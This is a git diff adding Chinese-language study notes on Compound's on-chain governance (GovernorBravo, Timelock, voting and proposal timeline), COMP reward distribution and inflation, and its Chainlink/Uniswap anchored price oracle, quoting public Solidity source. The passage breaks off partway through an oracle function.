+        againstVotes: 0,
+        abstainVotes: 0,
+        canceled: false,
+        executed: false
+    });
+
+    proposals[newProposal.id] = newProposal;
+    latestProposalIds[newProposal.proposer] = newProposal.id;
+
+    emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
+    return newProposal.id;
+}
+```
+
+### proposal-state
+
+提案的 8 种状态：
+
+- Canceled 提案被取消
+- Pending 提案还在等待期，即处于 created 和 Voting active 之间，时长取决于 votingDelay
+- Active 投票阶段
+- Defeated 投票结束，提案未通过（赞成票 <= 反对票 或 赞成票 < quorumVotes 400,000）
+- Succeeded 投票结束，提案通过，待执行
+- Executed 提案已执行
+- Expired 提案通过，但未执行，并且已过期作废
+- Queued 提案通过，正在待执行队列中
+
+```solidity
+/**
+    * @notice Gets the state of a proposal
+    * @param proposalId The id of the proposal
+    * @return Proposal state
+    */
+function state(uint proposalId) public view returns (ProposalState) {
+    require(proposalCount >= proposalId && proposalId > initialProposalId, "GovernorBravo::state: invalid proposal id");
+    Proposal storage proposal = proposals[proposalId];
+    if (proposal.canceled) {
+        return ProposalState.Canceled;
+    } else if (block.number <= proposal.startBlock) {
+        return ProposalState.Pending;
+    } else if (block.number <= proposal.endBlock) {
+        return ProposalState.Active;
+    } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) {
+        return ProposalState.Defeated;
+    } else if (proposal.eta == 0) {
+        return ProposalState.Succeeded;
+    } else if (proposal.executed) {
+        return ProposalState.Executed;
+    } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
+        return ProposalState.Expired;
+    } else {
+        return ProposalState.Queued;
+    }
+}
+```
+
+### queue
+
+将投票阶段结束且投票通过的提案的具体操作推入待执行队列, 仅限 admin 角色可调用。
+
+1. 提案必须是 Succeeded 状态，即 eta 字段没有被赋值，还是 0
+2. 根据当前 blockNumber + timelock.delay 赋值给 eta 字段，eta 是操作最早可执行的时间，这之前不能执行
+3. 遍历提案的具体执行操作，将对每个目标合约的操作顺序推入待执行队列
+
+```solidity
+/**
+    * @notice Queues a proposal of state succeeded
+    * @param proposalId The id of the proposal to queue
+    */
+function queue(uint proposalId) external {
+    require(state(proposalId) == ProposalState.Succeeded, "GovernorBravo::queue: proposal can only be queued if it is succeeded");
+    Proposal storage proposal = proposals[proposalId];
+    uint eta = add256(block.timestamp, timelock.delay());
+    for (uint i = 0; i < proposal.targets.length; i++) {
+        queueOrRevertInternal(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
+    }
+    proposal.eta = eta;
+    emit ProposalQueued(proposalId, eta);
+}
+
+function queueOrRevertInternal(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
+    require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorBravo::queueOrRevertInternal: identical proposal action already queued at eta");
+    timelock.queueTransaction(target, value, signature, data, eta);
+}
+```
+
+TimeLock.queueTransaction
+
+1. 只能 admin 调用
+2. 检查 `eta >= blockTimestamp + delay`
+   - 检查 eta 是否有被赋值，因为初始值是 0，如果没有赋值这条件不成立
+   - 当前时间还未超过提案最早的可执行时间，防止提案在进入可执行时间段后，被执行后，再次通过 `TimeLock.queueTransaction` 方法执行操作
+3. 检查通过，将该操作推入队列
+4. 返回操作在队列中的键
+
+```solidity
+function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
+    require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
+    require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
+
+    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
+    queuedTransactions[txHash] = true;
+
+    emit QueueTransaction(txHash, target, value, signature, data, eta);
+    return txHash;
+}
+```
+
+### execute
+
+执行提案，任意用户可调用
+
+1. 提案处于 Queued 状态，即完成了排队阶段
+2. 更改提案状态为已执行
+3. 遍历执行提案的操作
+
+```solidity
+/**
+    * @notice Executes a queued proposal if eta has passed
+    * @param proposalId The id of the proposal to execute
+    */
+function execute(uint proposalId) external payable {
+    require(state(proposalId) == ProposalState.Queued, "GovernorBravo::execute: proposal can only be executed if it is queued");
+    Proposal storage proposal = proposals[proposalId];
+    proposal.executed = true;
+    for (uint i = 0; i < proposal.targets.length; i++) {
+        timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
+    }
+    emit ProposalExecuted(proposalId);
+}
+```
+
+TimeLock.executeTransaction
+
+1. 只能 admin 调用
+2. 由操作的调用参数组成的 hash 作为该操作在队列中的键 (`txHash`)
+3. 通过 `txHash` 检查：
+   - 该操作是否存在于队列中
+   - eta (执行阶段开始时间) <= blockTimestamp <= eta + GRACE_PERIOD (执行阶段结束时间)
+4. 将带执行的操作移除队列
+5. 对目标合约执行操作
+
+```solidity
+// timelock.executeTransaction
+function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
+    require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
+
+    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
+    require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
+    require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
+    require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
+
+    queuedTransactions[txHash] = false;
+
+    bytes memory callData;
+
+    if (bytes(signature).length == 0) {
+        callData = data;
+    } else {
+        callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
+    }
+
+    // solium-disable-next-line security/no-call-value
+    (bool success, bytes memory returnData) = target.call.value(value)(callData);
+    require(success, "Timelock::executeTransaction: Transaction execution reverted.");
+
+    emit ExecuteTransaction(txHash, target, value, signature, data, eta);
+
+    return returnData;
+}
+```
+
+### cancel
+
+取消提案。在提案操作被执行之前都可以由提案者调用，或者当提案者的投票权掉到 proposalThreshold 以下，由任意用户调用。
+
+1. 检查提案不处于 Executed 状态
+2. 检查调用者是否为提案人，或者当提案者的投票权掉到 proposalThreshold 以下
+3. 更改提案为 `cancel` 状态
+4. `timelock.cancelTransaction()`
+
+```solidity
+/**
+    * @notice Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold
+    * @param proposalId The id of the proposal to cancel
+    */
+function cancel(uint proposalId) external {
+    require(state(proposalId) != ProposalState.Executed, "GovernorBravo::cancel: cannot cancel executed proposal");
+
+    Proposal storage proposal = proposals[proposalId];
+    require(msg.sender == proposal.proposer || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorBravo::cancel: proposer above threshold");
+
+    proposal.canceled = true;
+    for (uint i = 0; i < proposal.targets.length; i++) {
+        timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
+    }
+
+    emit ProposalCanceled(proposalId);
+}
+```
+
+timelock.cancelTransaction() 将提案从待执行队列中移除。
+
+（这里仅限管理员调用，但如果调用者作为提案人不是管理员，这里就会revert，感觉欠妥）
+
+```solidity
+function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
+    require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
+
+    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
+    queuedTransactions[txHash] = false;
+
+    emit CancelTransaction(txHash, target, value, signature, data, eta);
+}
+```
+
+### castVote
+
+选民对提案进行投票，有三种外部接口，内部逻辑调用相同的方法，只是广播事件有所不同。
+
+external functions:
+
+```solidity
+/**
+    * @notice Cast a vote for a proposal
+    * @param proposalId The id of the proposal to vote on
+    * @param support The support value for the vote. 0=against, 1=for, 2=abstain
+    */
+function castVote(uint proposalId, uint8 support) external;
+
+/**
+    * @notice Cast a vote for a proposal with a reason
+    * @param proposalId The id of the proposal to vote on
+    * @param support The support value for the vote. 0=against, 1=for, 2=abstain
+    * @param reason The reason given for the vote by the voter
+    */
+function castVoteWithReason(uint proposalId, uint8 support, string calldata reason) external;
+
+/**
+    * @notice Cast a vote for a proposal by signature
+    * @dev External function that accepts EIP-712 signatures for voting on proposals.
+    */
+function castVoteBySig(uint proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s) external;
+```
+
+castVoteInternal 执行投票的内部方法。
+
+1. 检查提案状态为 Active
+2. support 入参只能为 0=against, 1=for, 2=abstain
+3. 选票的回执 hasVoted 字段应还是 false
+4. 将选票数量增加到对应的选择上
+5. 存储选票回执
+6. 返回生效的票数
+
+```solidity
+/**
+    * @notice Internal function that caries out voting logic
+    * @param voter The voter that is casting their vote
+    * @param proposalId The id of the proposal to vote on
+    * @param support The support value for the vote. 0=against, 1=for, 2=abstain
+    * @return The number of votes cast
+    */
+function castVoteInternal(address voter, uint proposalId, uint8 support) internal returns (uint96) {
+    require(state(proposalId) == ProposalState.Active, "GovernorBravo::castVoteInternal: voting is closed");
+    require(support <= 2, "GovernorBravo::castVoteInternal: invalid vote type");
+    Proposal storage proposal = proposals[proposalId];
+    Receipt storage receipt = proposal.receipts[voter];
+    require(receipt.hasVoted == false, "GovernorBravo::castVoteInternal: voter already voted");
+    uint96 votes = comp.getPriorVotes(voter, proposal.startBlock);
+
+    if (support == 0) {
+        proposal.againstVotes = add256(proposal.againstVotes, votes);
+    } else if (support == 1) {
+        proposal.forVotes = add256(proposal.forVotes, votes);
+    } else if (support == 2) {
+        proposal.abstainVotes = add256(proposal.abstainVotes, votes);
+    }
+
+    receipt.hasVoted = true;
+    receipt.support = support;
+    receipt.votes = votes;
+
+    return votes;
+}
+```
+
+## 参考链接
+
+- Compound Governance 合约地址 <https://etherscan.io/address/0xc0da02939e1441f497fd74f78ce7decb17b66529>
+- TimeLock 合约地址 <https://etherscan.io/address/0x6d903f6003cca6255d85cca4d3b5e5146dc33925>
+- COMP token 合约地址 <https://etherscan.io/token/0xc00e94cb662c3520282e6f5717214004a7f26888>
diff --git a/defi/Compound/DAO/readme.md b/defi/Compound/DAO/readme.md
new file mode 100644
index 000000000..f251467c8
--- /dev/null
+++ b/defi/Compound/DAO/readme.md
@@ -0,0 +1,145 @@
+# Compound Governance
+
+> The Compound protocol is governed and upgraded by COMP token-holders, using three distinct components; the COMP token, governance module (Governor Bravo), and Timelock. Together, these contracts allow the community to propose, vote, and implement changes through the administrative functions of a cToken or the Comptroller. Proposals can modify system parameters, support new markets, or add entirely new functionality to the protocol.
+
+Compound 治理主要由三部分组成，COMP token ，governance module(Governor Bravo), TimeLock. 社区通投票决定提案是否执行，提案主要的内容是修改协议系统的参数，增加协议的资产类别，或新增协议的功能。
+
+## COMP token
+
+compound 的原生 token，继承 ERC20 的 token 合约，额外增加了投票权委托的相关功能。
+
+当用户持有协议的治理代币 COMP 时，它会将用户提升为决策者的角色。
+**只有 10,000,000 COMP 将永远存在，而超过 5,400,000 COMP 已经分发给 Compound 用户。**
+更具体地说，该协议每天向活跃的贷方和借方分发 2,312 个 COMP 作为奖励。本质上，用户在参与 Compound 生态系统的借贷经济时倾向于累积 COMP 代币。
+
+详情参见 :point_right: [COMP.md](./COMP.md)
+
+## GovernorBravo module
+
+Bravo 模块，执行具体的投票流程。主要由三部分组成：
+
+- `GovernorBravoDelegator` 作为可升级合约的 proxy
+- `GovernorBravoDelegateStorageV1` 定义了模块的存储接口，后续升级必须继承前一代的结构
+- `GovernorBravoDelegate` 投票的执行逻辑合约
+
+其他的依赖合约：
+
+- `Timelock` 用于设定提案操作的执行时间，关键变量是 `delay`, 决定了提案通过后，可以执行操作的最早时间
+- `COMP` 原生治理代币，与投票权 1:1 关系
+
+详情参见 :point_right: [GovernorBravo.md](./GovernorBravo.md)
+
+## 提案流程
+
+![proposal period](https://compound.finance/images/gov_diagram.png)
+
+有趣的是，任何人都可以通过在地址中锁定 100 个 COMP 来自主创建提案以更改协议的某些方面。
+
+但是，在提案人的地址被委派 65,000 COMP 之前，不会考虑对该提案进行投票。经过 3 天的投票过程，获得至少 400,000 张赞成票的提案在实施前会在协议的 Timelock 上排队两天，投票期间如果委托投票权的变化导致少于 400,000 提案将不能通过。可以提出的一些更改是资产的抵押品因素、利率模型、市场的添加或删除以及 Compound 协议使用的其他参数。与目前提到的所有 DAO 一样，Compound 允许进行投票授权。
+
+虽然最初的治理模型于 2020 年 2 月推出，但改进版本于 2021 年 3 月激活。这些改进为链上治理提供了更强大的方法。升级的一部分是决定为选民增加一个投票选项。选民已经可以选择是或否投票。通过升级，选民现在可以选择第三个选项，即弃权。此外，他们可以添加评论来解释支持或拒绝提案的原因。此外，提议者可以调整投票延迟、投票周期和提交阈值等参数。
+
+### proposal-process
+
+提案的流程：
+
+1. 发起提案者调用 `GovernorBravoDelegate.propose()` 发起提案 proposal
+   - 入参以数组形式传入，提案中包含的操作，最多 10 组操作
+   - 提案会存储在合约 storage 中
+2. proposal 进入 Pending 状态（当前 blockNumber < startBlock）
+3. proposal 进入 Active 状态（当前 startBlock < blockNumber < endBlock），即投票阶段
+4. 投票阶段结束：
+   - Defeated 提案未通过，流程终止（赞成票 <= 反对票 或 赞成票 < quorumVotes 400,000）
+   - Succeeded 提案通过，待执行
+5. admin 调用 `GovernorBravoDelegate.queue()` 将新提案中的操作推入待执行队列
+   - proposal 进入 Queued 状态
+   - 自动赋值 eta 字段，设置操作的开始时间, 这之前提案不能被执行
+6. admin 调用 `GovernorBravoDelegate.execute()` 批量执行提案中的操作
+   - proposal 进入 Executed 状态
+   - 若时间超过 `eta + GRACE_PERIOD` 仍未被执行，proposal 进入 Expired 状态；
+   - `GRACE_PERIOD` 固定为 14days，即所有提案在进入可执行队列后未被执行，超过 14 天自动作废
+
+选民投票：
+
+1. COMP 持有者将投票权委托给被委托者（可以是自己，如果没有调用过委托方法则无法参与投票）
+2. 在 proposal 进入 Active 状态后，调用 castVote 相关接口投票
+   - `castVote()` COMP 持有人直接进行投票
+   - `castVoteWithReason()` COMP 持有人直接进行投票，并广播自定义消息
+   - `castVoteBySig()` COMP 持有人委托给代理人进行投票。
+     - 持有人将 EIP712 标准的消息签名发送给代理人
+     - 代理人使用该签名代持有人投票
+     - 代理人一般是委托给大户，这样可以避免让用户承担主网高昂的 gas
+     - [leaderboard](https://compound.finance/governance/leaderboard?target_network=mainnet)
+     - 注意这里的代理和第 1 步中的不同，1 中是持有人将自己的投票权转交给其他人，在合约中会有记录；而 bysig 的方法是为了让用户节省 gas 参与投票，虽然由代理人操作，但本质上还是持有人自己投票
+
+### 实操演示
+
+COMP 提供了 [vote ui 交互界面](https://app.compound.finance/#vote)，可以切换到 Kovan 测试网进行测试操作
+
+1. 点击 `getStart` 按钮，会弹出两种 Choose Delegation Type 方式
+   - Manual voting 用户直接投票
+   - Delegate voting 用户将自己的投票权数量委托给其他人
+   - 选择后会弹出交易确认，这里会调用 `Bravo.delegate()` 将投票权授权给自己或代理人
+2. 当你持有超过 100COMP，可以看到界面上有 `Approve proposal creation` 按钮
+3. 按钮变成 `Create Autonomous Proposal` 创建自治提案（并非正式的提案）
+4. 进入提案内容标记
+   - 标题
+   - 内容
+   - 操作
+     - 操作的目标合约，例如 cDai， GovernorBravoDelegate
+     - 调用的函数
+     - 入参
+5. 提案上链，可以在这里查看事件里包含了提案的标题和描述
+   - 注意这里调用的是 [autonomous-proposals](https://github.com/compound-finance/autonomous-proposals) 仓库中的 `CrowdProposalFactory.sol`
+   - [交易事件](https://kovan.etherscan.io/tx/0xb05437455d5ca3b45de7457ceb747ee308112632fcc54b39a23b4cc95eb0d6d8#eventlog)
+6. 属于你的自治提案合约已创建，当你的合约被委托的投票权超过100,000时，可以发起正式提案。
+   - 作为初始的票，你的100枚COMP会被质押到该合约
+   - 等到该合约被委托投票数超过 65,000 可以调用该合约的 `propose()` 方法向bravo合约发起正式提案
+   - 调用该合约 `vote()` 方法对提案进行投票
+   - 调用该合约 `terminate()` 方法终止该自治提案，返还之前质押的 100COMP
+   - [详见 :point_right:](./CrowdProposal.md)
+
+另外提案列表上有可执行的提案，上面显示 `execute` 按钮，你可以点击并消耗 gas 发起交易，但是最后会失败，因为虽然 bravo 的 execute 方法是 external，但是内部调用的方法会限制只能 admin 调用。
+
+### proposal-timeline
+
+关于提案从创建到执行的时间轴，其规则的梳理
+
+- 首先是 Pending 状态的时间
+  - 即提案创建后进入 voteActive 状态之前，有一个合约强制的 pending 时间
+  - 这个时间的由 `votingDelay` 变量表示，在 bravo 合约初始化时设定
+  - `MIN_VOTING_DELAY <= votingDelay <= MAX_VOTING_DELAY` 大约介于 1 个区块间隔（13s-15s） 与 40320 个区块间隔 （大约 1week） 之间
+- 接着是 Active 状态的时间
+  - 即投票阶段的持续时间
+  - 这段时间长度依旧是合约决定，由 `votingPeriod` 表示，在 bravo 合约初始化时设定
+  - `MIN_VOTING_PERIOD <= votingPeriod <= MAX_VOTING_PERIOD` 大约介于 24h 与 2week 之间
+- 然后待 admin 将提案推入等待队列 `queue()`
+  - 提案最早可执行的时间是调用 queue 方法的时刻 + delay 时间
+  - 即这里必须等待 delay 时间段
+  - `MINIMUM_DELAY <= Timelock.delay <= MAXIMUM_DELAY` 大约介于 2days 与 30days 之间
+- admin 执行提案 `execute()`, 时间轴结束
+
+理论最短和最长时间：
+
+- 以忽略 admin 的 queue 和 execute 操作的时间为前提，决定时间轴长度的实际是 `votingDelay + votingPeriod + Timelock.delay`
+- 最短是 `15s + 24h + 2days` , 大约 3 天
+- 最长是 `1week + 2week + 30days`, 大约 51 天
+
+目前(2021-11-17)链上 bravo 和 Timelock 合约的设定是
+
+- `votingDelay` 13140 blocks 约 2days
+- `votingPeriod` 19710 blocks 约 3days
+- `Timelock.delay` 172800 s = 48 hours = 2days
+- 最新调整上述参数的提案是 [COMP-proposal-43](https://compound.finance/governance/proposals/43)
+
+所以当前最短的时间大约是 7days
+
+相关代码参考
+
+- [GovernorBravo.propose()](./GovernorBravo.md#propose)
+- [GovernorBravo.proposal-state](./GovernorBravo.md#proposal-state)
+
+## 参考链接
+
+- COMPOUND Governance DOC <https://compound.finance/docs/governance>
+- Building a Governance Interface <https://medium.com/compound-finance/building-a-governance-interface-474fc271588c>
diff --git a/defi/Compound/contract/Compound_COMP_Token_and_Price_Oracles.md b/defi/Compound/contract/Compound_COMP_Token_and_Price_Oracles.md
new file mode 100644
index 000000000..e3de7befe
--- /dev/null
+++ b/defi/Compound/contract/Compound_COMP_Token_and_Price_Oracles.md
@@ -0,0 +1,393 @@
+# Compound 代币和价格预言
+
+白皮书和核心代码，大佬们已经写得很详细了
+
+这里补充下周边： COMP 代币 和 价格预言
+
+## COMP
+
+### 投放计划
+
+为了激励用户，用户每次存款或者借款，Compound 都会奖励 COMP 代币，可以用于治理投票
+
+COMP 每日总产出约为 2312 枚，各市场的分布见 [文档](https://compound.finance/governance/com)，部分市场如下
+
+| Market | Per Day |
+| :- | -: |
+| DAI | 880.38 |
+| Ether | 141.25 |
+| USDC | 880.38 |
+| USDT | 126.80 |
+
+每个市场，借款和贷款产出的 COMP，分别占 50%
+
+以 USDC 市场为例，每日共产出 880.38 枚 COMP，其中通过借款的方式投放 440.19 枚 COMP，借款用户按其借款额度占总借款额度的比例分配；贷款同理
+
+### 配置
+
+如上所述，根据各市场每日产出的 COMP 数量，按每 15 秒一个区块的假设，可以得到每个区块产出的 COMP 数量，记录在 `ComptrollerV6Storage` 中
+
+``` js
+contract ComptrollerV6Storage is ComptrollerV5Storage {
+    // https://compound.finance/governance/comp
+
+    /// @notice The rate at which comp is distributed to the corresponding borrow market (per block)
+    mapping(address => uint) public compBorrowSpeeds;
+
+    /// @notice The rate at which comp is distributed to the corresponding supply market (per block)
+    mapping(address => uint) public compSupplySpeeds;
+}
+```
+
+`compBorrowSpeeds` 和 `comSupplySpeeds` 为 `cToken` 到每区块产出 COMP 数量的映射
+
+比如对 `cUSDC` 来说，它在两个映射表中的值都为 67000000000000000 (COMP 的精度为 ${10}^{18}$ <!--<img src="https://render.githubusercontent.com/render/math?math={10}^{18}" />-->)
+
+<!--<img src="https://render.githubusercontent.com/render/math?math=\frac{2%20\times%2067000000000000000%20\times%2086400}{15}%20\approx%20880.38%20\times%20{10}^{18}" />-->
+$$
+\frac{2 \times 67000000000000000 \times 86400}{15} \approx 880.38 \times {10}^{18}
+$$
+
+### 存款挖矿
+
+用户每次操作，只要可能更新存款，如存款操作，会触发 `mintAllowed()`，它进一步
+
+- 调用 `updateCompSupplyIndex()` 更新当前市场的 COMP 存款指数
+- 调用 `distributeSupplierComp()` 分发当前用户此前未结算的存款产出的 COMP
+
+``` js
+function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) {
+    // Keep the flywheel moving
+    updateCompSupplyIndex(cToken);
+    distributeSupplierComp(cToken, minter);
+
+    return uint(Error.NO_ERROR);
+}
+```
+
+--
+
+当前市场的 COMP 存款指数更新逻辑如下
+
+``` js
+/**
+* @notice Accrue COMP to the market by updating the supply index
+* @param cToken The market whose supply index to update
+* @dev Index is a cumulative sum of the COMP per cToken accrued.
+*/
+function updateCompSupplyIndex(address cToken) internal {
+    CompMarketState storage supplyState = compSupplyState[cToken];
+    uint supplySpeed = compSupplySpeeds[cToken];
+    uint32 blockNumber = safe32(getBlockNumber(), "block number exceeds 32 bits");
+    uint deltaBlocks = sub_(uint(blockNumber), uint(supplyState.block));
+    if (deltaBlocks > 0 && supplySpeed > 0) {
+        uint supplyTokens = CToken(cToken).totalSupply();
+        uint compAccrued = mul_(deltaBlocks, supplySpeed);
+
+        Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0});
+
+        supplyState.index = safe224(add_(Double({mantissa: supplyState.index}), ratio).mantissa, "new index exceeds 224 bits");
+        supplyState.block = blockNumber;
+    } else if (deltaBlocks > 0) {
+        supplyState.block = blockNumber;
+    }
+}
+```
+
+首先判断距离上次更新指数，经过了几个区块 `deltaBlocks`，另外根据 `supplySpeed` 判断当前市场是否产出 COMP (0x, Aave 等配置为 0，表示不产出)
+
+条件都满足后，计算 COMP 产出数量，除以 `cToken` 总供给，得到这几个区块间，平均每个 `cToken` 对应的 COMP 产出，即代码中的 `ratio`
+
+也就是说，`ratio` 可以理解为每持有一个 `cToken` ，可以得到多少 COMP
+
+最后将 `ratio` 累加进 COMP 存款指数
+
+--
+
+当前用户此前未结算的 COMP 分发逻辑如下
+
+``` js
+/**
+* @notice Calculate COMP accrued by a supplier and possibly transfer it to them
+* @param cToken The market in which the supplier is interacting
+* @param supplier The address of the supplier to distribute COMP to
+*/
+function distributeSupplierComp(address cToken, address supplier) internal {
+    // TODO: Don't distribute supplier COMP if the user is not in the supplier market.
+    // This check should be as gas efficient as possible as distributeSupplierComp is called in many places.
+    // - We really don't want to call an external contract as that's quite expensive.
+
+    CompMarketState storage supplyState = compSupplyState[cToken];
+    uint supplyIndex = supplyState.index;
+    uint supplierIndex = compSupplierIndex[cToken][supplier];
+
+    // Update supplier's index to the current index since we are distributing accrued COMP
+    compSupplierIndex[cToken][supplier] = supplyIndex;
+
+    if (supplierIndex == 0 && supplyIndex >= compInitialIndex) {
+        // Covers the case where users supplied tokens before the market's supply state index was set.
+        // Rewards the user with COMP accrued from the start of when supplier rewards were first
+        // set for the market.
+        supplierIndex = compInitialIndex;
+    }
+
+    // Calculate change in the cumulative sum of the COMP per cToken accrued
+    Double memory deltaIndex = Double({mantissa: sub_(supplyIndex, supplierIndex)});
+
+    uint supplierTokens = CToken(cToken).balanceOf(supplier);
+
+    // Calculate COMP accrued: cTokenAmount * accruedPerCToken
+    uint supplierDelta = mul_(supplierTokens, deltaIndex);
+
+    uint supplierAccrued = add_(compAccrued[supplier], supplierDelta);
+    compAccrued[supplier] = supplierAccrued;
+
+    emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex);
+}
+```
+
+首先获取市场最新的 COMP 存款指数，以及用户此前结算时的指数，相减得到 `deltaIndex`
+
+然后乘以用户持有的 `cToken` 数量，得到用户这段时间应该获得的 COMP
+
+--
+
+需要说明的是，这里结算的是用户之前的存款，占当前总供给的百分比，不会算入用户接下来马上将改变的存款
+
+换句话说，存款余额的修改，要在至少一个区块之后才会被用于结算 COMP，即用户操作与 COMP 结算是跨区跨的
+
+算是降低了被闪电贷攻击的风险
+
+### 借款挖矿
+
+与存款挖矿大同小异，稍微复杂一些，这里不再赘述
+
+### 通胀
+
+根据 messari，COMP 的 Inflation Rate 为 [27.50%](https://messari.io/asset/compound/metrics/supply)
+
+我没找到其确切公式，不过我们可以自行计算，根据 2021-11-05 和 2022-11-04 的 [流动性投放计划](https://messari.io/asset/compound/profile/supply-schedule) ，简单相除得到通胀系数为 27.34%；和 messari 数据相比，算是大差不差了
+
+![COMP 2021-2022](../images/COMP_2021-2022.png)
+
+| -| 2021-11-05 | 2022-11-04 | Inflation Rate |
+| :-: | -: | -: | -: |
+| User | 1,473,555 | 2,527,335 | |
+| Founder and Team | 866,200 | 1,421,300 | |
+| Shareholders | 2,396,307 | 2,396,307 | |
+| Community | 775,000 | 775,000 | |
+| Future team members | 372,797 | 372,797 | |
+| SUM | 5,883,859 | 7,492,379 | +27.34% |
+
+但是，这里有个统计陷阱：Founders & team 分批 vest 且 Future team members 也未兑现，部分流动性没有进入市场，因此分母偏大了
+
+也就是说，实际通胀率还要高出不少
+
+不管怎样，通胀率接近甚至超过 30% 的资产，价格稳定在 $100 ~ $300；我看不懂，但我大受震撼～
+
+### 安全
+
+9月29日 Compound 发生一起安全事件，详见 [[事件分析] 9月29日 Compound 62号提案 所引发的可怕Bug](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/defi/Compound/contract/%5B%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%5D%209%E6%9C%8829%E6%97%A5%20Compound%2062%E5%8F%B7%E6%8F%90%E6%A1%88%20%E6%89%80%E5%BC%95%E5%8F%91%E7%9A%84%E5%8F%AF%E6%80%95Bug.md)
+
+其中，Robert Leshner 提到的 `Reservori` 合约 ([地址](https://etherscan.io/address/0x2775b1c75658Be0F640272CCb8c72ac986009e38))，就是上面投放计划中 `User` (借贷挖矿) 的 COMP 来源
+
+## 价格预言机
+
+Compound 同时使用 Uniswap v2 和 Chainlink v2 作为价格预言机
+
+Chainlink 价格以 Uniswap 价格为锚，前者作为实际价格，后者作为基准价格
+
+Chainlink 价格需要在 Uniswap 价格的某段浮动范围内，才能作为有效价格被更新到预言机
+
+### 代码
+
+[compound-finance/open-oracle](https://github.com/compound-finance/open-oracle) 中只有 Uniswap 相关代码，我找遍 branches 和 tags 都没找到 Chainlink 部分
+
+最后在 Compound 社区找到这个关于添加 ChainLink 预言机提案的精彩讨论 [Oracle Infrastructure: Chainlink Proposal](https://www.comp.xyz/t/oracle-infrastructure-chainlink-proposal/1272)
+
+成果是 Chainlink 团队在 Compound 原有 Open Price Feed 的代码基础上，集成了 Chainlink 聚合器的报价，并进一步做了部署和测试；Compound 社区通过治理，应用了新的预言机
+
+然而，Chainlink 提交的 PR：[Oracle Improvement (Chainlink Price Feeds) #150](https://github.com/compound-finance/open-oracle/pull/150)，改动较多，还卡在审核阶段，未被合并..
+
+因此，最新代码不在官方仓库中
+
+审计报告见 [Trail of Bits: Chainlink Open-Oracle Summary Report](https://drive.google.com/file/d/1TsOXhBLenStjdd2mxF1Sfmmh_Na9X527/view)
+
+以下分析基于 Chainklink fork 的仓库 [smartcontractkit/open-source](https://github.com/smartcontractkit/open-oracle/blob/master/contracts/Uniswap/UniswapAnchoredView.sol)
+
+### 实现
+
+``` js
+/**
+ * @notice This is called by the reporter whenever a new price is posted on-chain
+ * @dev called by AccessControlledOffchainAggregator
+ * @param currentAnswer the price
+ * @return valid bool
+ */
+function validate(uint256/* previousRoundId */,
+        int256 /* previousAnswer */,
+        uint256 /* currentRoundId */,
+        int256 currentAnswer) external override returns (bool valid) {
+
+    // NOTE: We don't do any access control on msg.sender here. The access control is done in getTokenConfigByReporter,
+    // which will REVERT if an unauthorized address is passed.
+    TokenConfig memory config = getTokenConfigByReporter(msg.sender);
+    uint256 reportedPrice = convertReportedPrice(config, currentAnswer);
+    uint256 anchorPrice = calculateAnchorPriceFromEthPrice(config);
+
+    PriceData memory priceData = prices[config.symbolHash];
+    if (priceData.failoverActive) {
+        require(anchorPrice < 2**248, "Anchor price too large");
+        prices[config.symbolHash].price = uint248(anchorPrice);
+        emit PriceUpdated(config.symbolHash, anchorPrice);
+    } else if (isWithinAnchor(reportedPrice, anchorPrice)) {
+        require(reportedPrice < 2**248, "Reported price too large");
+        prices[config.symbolHash].price = uint248(reportedPrice);
+        emit PriceUpdated(config.symbolHash, reportedPrice);
+        valid = true;
+    } else {
+        emit PriceGuarded(config.symbolHash, reportedPrice, anchorPrice);
+    }
+}
+```
+
+核心代码如上所示
+
+`validator()` 由 Chainlink 调用，参数 `currentAnswer` 表示 Chainlink 链下统计的价格，单位由 Chainlink 控制
+
+以 DAI 为例，假设 `currentAnswer` 为 100055330
+
+为了方便处理，`convertReportedPrice()` 将其转为内部单位，得到 1000553
+
+`calculateAnchorPriceFromEthPrice()` 通过向交易对询价得到链上 Uniswap 交易所的价格，比如为 1001190
+
+接下来判断 `failoverActive`，这是由社区投票决定的一项配置，表示当前市场 (DAI) 是否忽略 Chainlink 价格，以 Uniswap 价格为准
+
+否则，通过 `isWithAnchor()` 确认 Chainlink 价格在 Uniswap 价格浮动范围内 ([85%, 115%])
+
+--
+
+``` js
+/**
+ * @notice Calculate the anchor price by fetching price data from the TWAP
+ * @param config TokenConfig
+ * @return anchorPrice uint
+ */
+function calculateAnchorPriceFromEthPrice(TokenConfig memory config) internal returns (uint anchorPrice) {
